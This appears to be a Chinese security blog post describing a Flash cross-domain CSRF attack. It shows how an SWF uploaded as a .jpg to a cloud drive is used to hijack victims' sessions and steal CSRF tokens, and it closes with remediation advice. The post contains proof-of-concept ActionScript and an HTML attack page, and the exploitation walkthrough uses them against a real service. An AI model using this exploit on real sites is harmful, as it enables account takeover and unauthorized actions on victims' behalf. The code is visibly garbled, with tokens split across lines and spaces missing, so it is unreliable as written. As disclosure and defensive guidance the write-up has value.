0×01 ,背景
很多上传文件的后端逻辑在实现时,仅仅验证了文件后缀名和 Content-Type ,没有对上传文件的内容进行验证。通常情况下这样的处理逻辑仅仅是不严谨,不会造成太大的安全隐患。但经过笔者测试,发现 object 标签在包含 flash 文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的 flash 文件代码,就能够被 object 标签成功加载并执行。而 ActionScript 中又提供了多种 API 能够让 Flash 发送网络请求。这样如果能够将任意后缀的 Flash 文件上传到目标域中,就能够在攻击者可控的域下让受害者访问一个精心构造的恶意页面,来对目标域进行跨域的数据劫持,获取受害者当前 Session 下的 CSRF Token ,以受害者的身份打开目标域的任何特权页面,进行特权操作。
0×02 ,利用条件
1, 目标网站的文件上传逻辑没有验证文件内容;
2, 上传的文件没有做域隔离处理;
3, 服务端没有强制设置Content-Disposition响应头;<不直接在浏览器中显示,而是提示保存>
4, 访问上传的文件没有session限制;
0×03 ,攻击场景构造:
首先需要构造一个poc swf文件能够对外发送http请求,这里只做演示用,因此只实现了发送简单的GET请求,代码如下:
importflash
.
net
.
URLLoader
;
importflash
.
net
.
URLRequest
;
importflash
.
net
.
URLLoaderDataFormat
;
importflash
.
net
.
URLVariables
;
importflash
.
events
.
Event
;
importflash
.
events
.
HTTPStatusEvent
;
importflash
.
events
.
IOErrorEvent
;
importflash
.
events
.
ProgressEvent
;
importflash
.
events
.
SecurityErrorEvent
;
importflash
.
display
.
LoaderInfo
;
importflash
.
system
.
Security
;
Security
.
allowDomain
(
"*"
);
varurlObj
:
Object
=
LoaderInfo
(
this
.
root
.
loaderInfo
).
parameters
.
url
;
varrequest
:
URLRequest
=
new
URLRequest
(
urlObj
.
toString
());
request
.
method
=
URLRequestMethod
.
GET
;
varloader
:
URLLoader
=
new
URLLoader
();
itemScroll
.
x
=
response
.
x
+
response
.
width
;
itemScroll
.
y
=
response
.
y
;
itemScroll
.
height
=
response
.
height
;
loader
.
dataFormat
=
URLLoaderDataFormat
.
TEXT
;
loader
.
addEventListener
(
Event
.
COMPLETE
,
loader_complete
);
loader
.
load
(
request
);
functionloader_complete
(
e
:
Event
):
void
{
trace
(
"Event.COMPLETE"
);
trace
(
"Resp Data :\n"
+
loader
.
data
);
response
.
text
=
loader
.
data
;
itemScroll
.
scrollTarget
=
response
;
}
首先使用了LoaderInfo(this.root.loaderInfo)从object标签的flashVars参数中提取出要访问的URL,再使用URLLoader对该URL发送GET请求,响应结果回显到一个Text控件中,用作验证。
接下来构造一个页面用于包含 swf 文件,代码如下:
<html>
<head>
<title>
FlashCSRF POC by pnig0s@FreeBuf
</title>
</head>
<body>
<h2>
FlashCSRF POC by pnig0s@FreeBuf
</h2>
<div>
swf url:
<inputtype
=
"text"
id
=
"swfurl"
style
=
"
width
:
500
"
></br>
hijackurl:
<input
type
=
"text"
id
=
"csrfurl"
style
=
"
width
:
500
"
></br>
<inputtype
=
"button"
value
=
"submit"
id
=
"submit"
>
</div>
<iframename
=
"swf"
style
=
"
width
:
1000
;
height
:
1000
"
></iframe>
<script>
functionwriteflashobject
(
url
,
parastr
)
{
swf
=
window
.
frames
[
"swf"
];
swf
.
document
.
write
(
"<objectclassid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\"width=\"1000\" height=\"1000\" id=\"FlashVars\"align=\"middle\"\>\n"
);
swf
.
document
.
write
(
"<paramname=\"allowScriptAccess\" value=\"always\"/\>\n"
);
swf
.
document
.
write
(
"<paramname=\"movie\" value=\"FlashVars.swf\" /\>\n"
);
swf
.
document
.
write
(
"<paramname=\"FlashVars\" value=\""
+
parastr
+
"\"/\>\n"
);
swf
.
document
.
write
(
"<paramname=\"quality\" value=\"high\" /\>\n"
);
swf
.
document
.
write
(
"<paramname=\"bgcolor\" value=\"#ffffff\" /\>\n"
);
swf
.
document
.
write
(
"<embedsrc=\""
+
url
+
"\" quality=\"high\"bgcolor=\"#ffffff\" width=\"550\" height=\"400\"name=\"FlashVars\" align=\"middle\" allowScriptAccess=\"always\"FlashVars=\""
+
parastr
+
"\"type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"/\>"
);
swf
.
document
.
write
(
"</object\>"
);
}
function
get
(
name
)
{
var
query
=
window
.
location
.
search
.
substring
(
1
);
var
pairs
=
query
.
split
(
"&"
);
for
(
var
i
=
0
;
i
<
pairs
.
length
;
i
++)
{
var
pos
=
pairs
[
i
].
indexOf
(
'='
);
if
(
pos
==-
1
)
continue
;
var
argname
=
pairs
[
i
].
substring
(
0
,
pos
);
var
value
=
pairs
[
i
].
substring
(
pos
+
1
);
if
(
argname
==
name
){
return
value
;}
};
}
var
submit
=
document
.
getElementById
(
"submit"
);
submit
.
addEventListener
(
"click"
,
function
()
{
var
swfurl
=
document
.
getElementById
(
"swfurl"
).
value
;
var
param
=
"url="
+
document
.
getElementById
(
"csrfurl"
).
value
;
//"url="+get("csrfurl");
writeflashobject
(
swfurl
,
param
);
return
false
;
});
</script>
</body>
</html>
最终的效果如图:
0×03 ,漏洞利用
这里以某知名厂商提供的云盘服务进行测试,演示该漏洞的利用过程。访问该云盘服务的文件上传页面。
将之前写好的 swf文件后缀修改为jpg 并上传,服务端没有检查文件内容,文件上传成功。
将该文件设置成共享状态,这一步是为了让最终的文件访问链接摆脱session状态的限制,能够被其他任何用户访问到。
最终在图片预览状态通过Chrome的DeveloperTool找到图片的直接访问链接。形如
http://foo.com/intf.php?method=Preview.outputPic&xid=178xxx535&fname=%2Freq.jpg&fhash=f9cefd7e900xxxxxx6d47cd5909796e1b9&dt=24.01xxxxxxd8c91c6fefad848&v=1.0.1&rtick=14008172544583&open_app_id=0&devtype=web&sign=8895bd6844bxxxxxx15e42a8b&
通过之前构造的html页面,使用object包含上面的链接,swf文件能够被正常的执行,当其他用户访问该页面,会以该用户的身份打开指定的页面<执行http请求>,造成跨域数据劫持,此时Anti-CSRF已经形同虚设,可以获取CSRF Token,访问特权页面,进行特权操作。
0×04,影响范围
经过笔者测试,国内各知名互联网厂商,及云存储提供商均受到该问题的影响。除此之外,经过测试,一些知名的开源在线编辑器如UEditor,CKEditor,KindEditor,XhEditor,Ewebeditor等也均受到该问题的影响。更多其他厂商及Web应用暂未做更多测试,不过可以预见受该问题影响的站点数量较多。
0×05,修复建议
根据之前提到过的利用条件,修复的方法也就显而易见了。
1,对上传文件内容进行检查:
当然这并不容易,除了jpg类型,能够直接在线访问的文件类型很多,尤其对于云存储服务,以及有些服务功能性上的需要,难以全部进行验证。
2,强制设置Content-Disposition响应头:
设置该头部后能够强制浏览器对文件执行下载操作。但是对国内一些服务测试的过程中也发现了一个问题,有些直接在URL中加了类似downloadtype=1这类参数,直接设置成0就不会强制下载了。所以建议这种参数不要暴露在url中。
3,进行域隔离:
这个没什么好说的,尤其对于一些云盘,云存储的服务,对于用户上传的文件不做域隔离的都是耍流氓的行为。